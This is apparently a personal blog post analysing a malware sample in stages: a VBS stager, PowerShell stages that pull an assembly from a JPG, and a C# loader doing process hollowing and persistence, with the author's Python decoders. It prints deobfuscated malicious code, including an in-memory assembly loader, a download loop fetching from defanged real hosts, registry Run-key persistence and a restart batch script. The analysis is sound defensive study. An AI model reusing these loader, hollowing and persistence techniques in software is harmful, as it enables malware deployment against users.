← ALL POSTS

VBS Stager to In-Memory C# Loader

sha256 33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2

Overview

Today’s analysis started with a vbs file sample. It kicked off multiple PowerShell stages that use inline C# to load raw assembly bytes, hidden inside an image, directly into memory. The analysis involves some basic deobfuscation of vbs and powershell, but also some more involved custom decoding scripts for the anti-reverse-engineering features of the C# executable.

Stage 1 — sample.vbs

The script comes filled with unnecessary function calls and dead variables. Quickly stripping all the excess reduces it from about 600 lines to only about 140.

The first thing I can see in the script is a bunch of strings that are passed to a function.

Call Ugfdfging("%SYSTEMROOfdcahIIkoT%\SystfdcahIIkoem32\WindofdcahIIkowsPowfdcahIIkoerShell\fdcahI")
Call Ugfdfging("Ikov1.0\powefdcahIIkorshell.fdcahIIkoexe  $j=fdcahIIko85-11;$z1fdcahIIkoe")
Call Ugfdfging("94F='fdcahIIkofA95Dp0vs'fdcahIIko;$ou8VfdcahIIkobFwno='aafdcahIIko9efdfc9fd")

The function is just adding up all the strings. Once they are all concatenated, fdcahIIko is filtered out of the payload. This is an attempt at keeping simple scanners from finding words like powershell.

Before moving on and executing the next payload, the script performs a basic sandbox check.

Set wshNetwork = WScript.CreateObject( "WScript.Network" )

gddsfgd = wshNetwork.ComputerName

If  instr(ucase(gddsfgd), "MAA1") > 0 OR _
 instr(ucase(gddsfgd), "CAV") > 0 OR _
 instr(ucase(gddsfgd), "CAV") > 0 OR _
instr(ucase(gddsfgd), "LNP2")> 0 OR _
 instr(ucase(gddsfgd), "LNP2")> 0 OR _
instr(ucase(gddsfgd), "-PC") > 0 Then 
WScript.Quit      
End If

The payload is then executed by a WScript.Shell object.

Stage 2 — PowerShell part 1

This stage actually uses some basic encryption.

$z1e94F='fA95Dp0vs';
$ou8VbFwno='aa9efdfc9ab3f...7cfcc';
$mpNNFqmk='HVIZDH1rBE5DEz...RMQA==';

The first variable is what I will call the key seed. It is used to derive two keys, one for each of the two payload halves, by XOR-ing the seed with 0xAA or 0x55.

The first half of the payload is decoded by reading two characters at a time and XOR-ing them against the key, looping through it as needed.

To decode the second half, a string artifact is first stripped from the payload, and then it is converted from base64.

$cUXA3FJoldB=[Convert]::FromBase64String([regex]::Replace($mpNNFqmk, '$cUXA3FJ', ''));

This is followed by an XOR decryption with the second key, similar to the first half.

Now that I have done a few of these analyses, I am always curious how the authors have tried to hide the Invoke-Expression. This time I wasn’t disappointed.

.($env:ComSpec[4,26,25]-join'') $bMRoUrgOv

$env:ComSpec resolves to C:\Windows\system32\cmd.exe, and the indexes pick out the characters that spell iex.

C:\Windows\system32\cmd.e****xe

Stage 3 — PowerShell part 2

Now this stage gives us some functions to work through. The first one, _c, is a string deobfuscation helper: it base64-decodes its input and XORs the result with 59. The second one is a download function called d, that just takes an array of URLs and downloads their content via Net.WebClient. The third and most interesting function, i, is a bit more complex, and we will need to take a quick step back and look at some other code in the script.

The script decodes a string using the _c method and a second base64 decode. The result is this inline C# block.

using System; 
using System.Reflection; 
public class PhantomGate{
  public static Assembly LoadAssembly(byte[] g){
    Assembly h=Assembly.GetExecutingAssembly(); 
    if(h !=null){} 
    return AppDomain.CurrentDomain.Load(g);
  }
}

It is embedded via the Add-Type -TypeDefinition functionality of PowerShell. The block is a helper class that loads an assembly into memory.

The script uses the d function to download the same file from three different sources. The URLs are, again, all decoded using _c.

  • hxxp://github[.]com/Orukemer/image/releases/download/Image/3.jpg
  • hxxp://45[.]225[.]135[.]160/downloads/3.jpg
  • hxxp://107[.]174[.]251[.]112/img/3.jpg

A Screenshot of the Image with the hidden Assembly

The actual assembly bytes are extracted from the JPG using the regex <<START>>(.*?)<<END>>.

Now it’s time we talk about the function i.

function i($a3,$a4,$a5,$a6=@()){
    # load and execute
    $a7=[PhantomGate]::LoadAssembly($a3);
    $a8=$a7.GetTypes()|?{$_.FullName -eq $a4};
    $a9=$a8.GetMethod($a5,([Reflection.BindingFlags](_c 'a05ZV1JYF3VUVWtOWVdSWBdoT1pPUlgXclVIT1pVWF4='))); # "Public,NonPublic,Static,Instance"
    $b0=if(!$a9.IsStatic){[Activator]::CreateInstance($a8)};
    $a9.Invoke($b0,$a6)
}

It takes the assembly bytes $a3, a class name $a4, a method name $a5, and a list of arguments to pass to the method $a6.

The script executes i with these parameters.

  • the assembly bytes taken from the image, base64 decoded
  • the class name “myprogramm.Homees”
  • the method name “runss”
  • and an array of arguments
    • xBW34hxM/war/us.osay//:s
    • 0
    • RegAsm
    • 0
    • x86

Stage 4 — the C# loader

Loader overview

Now this is the part I actually wanted to practice: decompiling and working through an executable. Luckily we know which method is invoked and with what parameters. Opening the executable in ILSpy gives us more information about the arguments we passed to the function. The first one is an address, passed in reverse; the second is a feature flag called enablestartup; the third is the matching startupname; then injection, the name of the process we are injecting the malware into; and finally another feature flag, persistance, and architecture.

ILSpy View of the runss Method

At first look I was a bit confused by the dead code and the switch-case fall-throughs, but it didn’t take too long to work out what was just random junk and what I was actually looking for.

Before we dig deeper into the program, I would like to look at a method that is everywhere in the code: MenuOptions.AllocateDirectory.

Wherever there should be a string, there is a call to that method with some integer.

RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(MenuOptions.AllocateDirectory(1396), writable: true);
// ...
RunPS(MenuOptions.AllocateDirectory(1685));
// ...
string text11 = MenuOptions.AllocateDirectory(2363) + array4[num];
// ...
streamWriter.WriteLine(MenuOptions.AllocateDirectory(2451));

The method looks like some form of lookup table.

Here is the decompiled version with junk removed.

using System.Text;

internal static string AllocateDirectory(int outputLength)
{
  int num = 0;
  if ((MenuOptions.outputLength[outputLength] & 0x80) == 0)
  {
    num = MenuOptions.outputLength[outputLength];
    outputLength++;
  }
  else if ((MenuOptions.outputLength[outputLength] & 0x40) == 0)
  {
    num = (MenuOptions.outputLength[outputLength] & -129) << 8;
    num |= MenuOptions.outputLength[outputLength + 1];
    outputLength += 2;
  }
  else
  {
    num = (MenuOptions.outputLength[outputLength] & -193) << 24;
    num |= MenuOptions.outputLength[outputLength + 1] << 16;
    num |= MenuOptions.outputLength[outputLength + 2] << 8;
    num |= MenuOptions.outputLength[outputLength + 3];
    outputLength += 4;
  }
  if (num < 1)
  {
    
    return string.Empty;
  }

  string str = Encoding.Unicode.GetString(MenuOptions.outputLength, outputLength, num);
  return string.Intern(str);
}

The function reads from MenuOptions.outputLength at the byte offset given by our input integer. This implements a custom length prefix: when the prefix byte is below 0x80 the length is one byte, if it is between 0x80 and 0xBF it is two bytes, and from 0xC0 onwards it is four bytes. Now let’s look at that lookup table.

It is built in the MenuOptions static constructor.

static MenuOptions()
{
  if (MenuOptions.outputLength != null)
  {
    return;
  }
  string s = "bXlwcm9ncmFtJA==";
  byte[] array = Convert.FromBase64String(s);
  s = Encoding.UTF8.GetString(array, 0, array.Length);
  Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(s);
  MenuOptions.outputLength = AspectContext.AllocateDirectory(97L, manifestResourceStream);
  return;
}

bXlwcm9ncmFtJA== decodes to myprogram$, the name of the resource block the lookup table comes from.

AspectContext.AllocateDirectory is the decryption method called on that block.

ILSpy View into the DES Decryption Method

The method is a DES decryption combined with Deflate decompression.

DeflateStream deflateStream = new DeflateStream(stream2, CompressionMode.Decompress);

This is a quick script to decode the extracted section. I could probably also just have dumped it from memory.

import zlib
from Crypto.Cipher import DES # pycryptodome

def unpack_resource(data: bytes) -> bytes:
    offset = 3 # Skip first 3 bytes
    
    # Read bitwise-inverted flag byte
    flag_byte = (~data[offset]) & 0xFF
    offset += 1
    
    current_stream = data[offset:]
    
    # 1. Check for DES Encryption Flag (bit 2)
    if (flag_byte & 2) != 0:
        iv = current_stream[:8]
        key = current_stream[8:16]
        encrypted_payload = current_stream[16:]
        
        # If Key is all 0s, you will need to extract the key fallback array 
        # from the assembly metadata.
        cipher = DES.new(key, DES.MODE_CBC, iv)
        current_stream = cipher.decrypt(encrypted_payload)
    
    # 2. Check for Deflate Compression Flag (bit 8)
    if (flag_byte & 8) != 0:
        # -15 tells zlib to parse raw Deflate headers (no zlib/gzip wrapper)
        current_stream = zlib.decompress(current_stream, -zlib.MAX_WBITS)
        
    return current_stream

# Usage:
with open("myprogram_stream", "rb") as f:
    raw_bytes = f.read()

unpacked_string_table = unpack_resource(raw_bytes)

with open("unpacked_string_table.bin", "wb") as f:
    f.write(unpacked_string_table)

print(f"Successfully unpacked {len(unpacked_string_table)} bytes!")

A quick second script to generate a map of which integer gives which string.

def dump_exact_offsets(file_path):
    with open(file_path, "rb") as f:
        data = f.read()

    offset = 0
    total = len(data)

    while offset < total:
        start_idx = offset
        first = data[offset]

        # Parse length headers
        if (first & 0x80) == 0:
            length = first
            offset += 1
        elif (first & 0x40) == 0:
            if offset + 1 >= total: break
            length = ((first & ~0x80) << 8) | data[offset + 1]
            offset += 2
        else:
            if offset + 3 >= total: break
            length = ((first & ~0xC0) << 24) | \
                     (data[offset + 1] << 16) | \
                     (data[offset + 2] << 8) | \
                     data[offset + 3]
            offset += 4

        if length <= 0 or (offset + length) > total:
            offset = start_idx + 1
            continue

        try:
            # Strings are stored as UTF-16 LE
            text = data[offset : offset + length].decode('utf-16-le')
            if text.isprintable() and len(text) > 0:
                print(f"Offset [{start_idx}]: {text}")
            offset += length
        except UnicodeDecodeError:
            offset = start_idx + 1

dump_exact_offsets("unpacked_string_table.bin")
Offset [1]: CreateProcessA
Offset [30]: ZwUnmapViewOfSection
Offset [71]: VirtualAllocEx
...
Offset [3266]: kernel32.dll
Offset [3291]: IsDebuggerPresent
Offset [3326]: CheckRemoteDebuggerPresent
Offset [3379]: user32.dll
Offset [3400]: EnumWindows

Startup

Now I had the key to read the entire thing.

The basic flow of the method starts with a set of startup options, chosen by the enablestartup feature flag.

The cases are 1, 2, 3 and 4 — our sample passes 0, so this loader doesn’t use any of the startup mechanics.

Still, I want to give a quick overview: they all work the same way, just with a different scripting language.

if (enablestartup == "1") // Offset 1393: "1"
    {        
        folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
        try
        {
            // try adding RunOnce
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", writable: true); // Offset 1396
            string text = Path.Combine(folderPath, startupname + ".bat"); // Offset 1495: ".bat"
            string value = text;
            AllocateDirectory(text);
            registryKey.SetValue(AllocateDirectory(10), value);
        }
        catch
        {
            // Fallback to Run
            RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", writable: true); // Offset 1504
            string text2 = Path.Combine(folderPath, startupname + ".bat"); // Offset 1495: ".bat"
            string value2 = text2;
            AllocateDirectory(text2);
            registryKey2.SetValue(AllocateDirectory(10), value2);
        }
    }

The modes are:

  • bat
  • vbs (this also tries to copy the file)
  • js
  • hta

Payload retrieval

The next step is retrieving the next stage.

// Terminate processes 
RunPS("Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait"); // Offset 1685
Thread.Sleep(2000);

WebClient webClient = new WebClient();
webClient.Encoding = Encoding.UTF8;

char[] array2 = adress.ToCharArray();
Array.Reverse((Array)array2);
string text9 = new string(array2);
char[] array3 = BuilderManager.AllocateDirectory(1);
array3[0] = ',';
string[] array4 = text9.Split(array3);
string text10 = DirectorySet.outputLength;
int num = 0;
while (true)
{
    if (num < array4.Length)
    {
        string text11 = "http" + array4[num]; // Offset 2363: "http"
        if (AllocateDirectory(text11))
        {
            text10 = string.Concat(webClient.DownloadString(text11).Reverse());
            break;
        }
        num++;
        continue;
    }
    break;
}

The address that was passed to the executable is now reversed back to normal and the missing http is added. The program tries to download it and then performs some string sanitization. The page at hxxps://yaso[.]su/raw/Mxh43WBx is already down, so I can’t continue my analysis into the next stage — judging by the URL it was a paste site. There is still a bit left in this stage, though.

Process hollowing

Then the actual injection happens; it uses the architecture flag to decide which path to take.

if (architecture == "x86") // Offset 2395: "x86"
{
    // junk removed
    
    MemoryMapper.Map32(data, injection, "0"); // Offset 2402: "0"
}
else
{
    MemoryMapper.Map64(data, injection, "");
}

Let’s look at MemoryMapper.Map32.

ILSpy View into the MemoryMapper.Map32 Method

Luckily we already know which index is which API call, so it isn’t too hard to substitute them back in. The other AllocateDirectory overload is just resolving the delegates.

CreateProcessDelegate CreateProcess = AllocateDirectory<CreateProcessDelegate>(outputLength[0], "CreateProcessW");
VirtualAllocExDelegate VirtualAllocEx = AllocateDirectory<VirtualAllocExDelegate>(outputLength[0], "VirtualAllocEx");
WriteProcessMemoryDelegate WriteProcessMemory = AllocateDirectory<WriteProcessMemoryDelegate>(outputLength[0], "WriteProcessMemory");
ReadProcessMemoryDelegate ReadProcessMemory = AllocateDirectory<ReadProcessMemoryDelegate>(outputLength[0], "ReadProcessMemory");
NtUnmapViewOfSectionDelegate NtUnmapViewOfSection = AllocateDirectory<NtUnmapViewOfSectionDelegate>(outputLength[1], "NtUnmapViewOfSection");
GetThreadContextDelegate GetThreadContext = AllocateDirectory<GetThreadContextDelegate>(outputLength[0], "GetThreadContext");
Wow64GetThreadContextDelegate Wow64GetThreadContext = AllocateDirectory<Wow64GetThreadContextDelegate>(outputLength[0], "Wow64GetThreadContext");
SetThreadContextDelegate SetThreadContext = AllocateDirectory<SetThreadContextDelegate>(outputLength[0], "SetThreadContext");
Wow64SetThreadContextDelegate Wow64SetThreadContext = AllocateDirectory<Wow64SetThreadContextDelegate>(outputLength[0], "Wow64SetThreadContext");
ResumeThreadDelegate ResumeThread = AllocateDirectory<ResumeThreadDelegate>(outputLength[0], "ResumeThread");

The Map32 function performs process hollowing.

  • spawns suspended process
  • parse PE headers
  • unmap original process binary
  • allocate rwx memory
  • write pe headers
  • write pe sections
  • update imagebase

The executable path for the hollowed process depends on the injection argument: C:\Windows\Microsoft.NET\Framework\v4.0.30319\<<AsmReg>>.exe.

Persistence

The final step is only triggered when the persistance flag is set to 1.

The program creates a file wrfgdfjdse.bat in %TEMP% and writes a small looping script that checks whether the injected process is still running and, if not, restarts the VBS. Since the persistence mechanism relies on startupname, it should only work when the sample also ran with the vbs startup mode.

string text12 = Path.GetTempPath() + "wrfgdfjdse.bat"; // Offset 2405: "wrfgdfjdse.bat"
StreamWriter streamWriter = new StreamWriter(text12);
try
{
    streamWriter.WriteLine("set count=0"); // Offset 2451
    streamWriter.WriteLine(":loop"); // Offset 2474
    streamWriter.WriteLine("set /a count=%count%+1"); // Offset 2485
    streamWriter.WriteLine("timeout 70 "); // Offset 2530
    
    string[] array5 = SelectionTree.AllocateDirectory(6);
    array5[0] = "tasklist";
    array5[1] = " /fi \"ImageName eq "; // Offset 2553
    array5[2] = injection;
    array5[3] = ".exe\" /fo csv 2>NUL | find /I \""; // Offset 2592
    array5[4] = injection;
    array5[5] = ".exe\">NUL"; // Offset 2655
    streamWriter.WriteLine(string.Concat(array5));
    
    streamWriter.WriteLine("if \"%ERRORLEVEL%\"==\"1\" cscript \"" + Path.Combine(folderPath, startupname) + ".vbs\""); // Offsets 2674 & 2739
    streamWriter.WriteLine("if %count% neq 1000 goto loop"); // Offset 2750
}

Conclusion

This was a great analysis. I had a lot of fun poking around in the C# executable, and working out how the string lookup worked was really interesting. I think I learned a lot and I feel like I have made some good progress. Today’s main takeaway isn’t even really about the analysis itself: I noticed that I have to find a better way to document my work while I am still on the sample. I always start out well, but once I get absorbed in the research I forget to write down my path and then have to spend time reverse engineering my own reverse engineering steps — which I guess is free extra practice, but also a bit annoying.

Not sure what my next analysis is going to be, but I want to improve my reporting.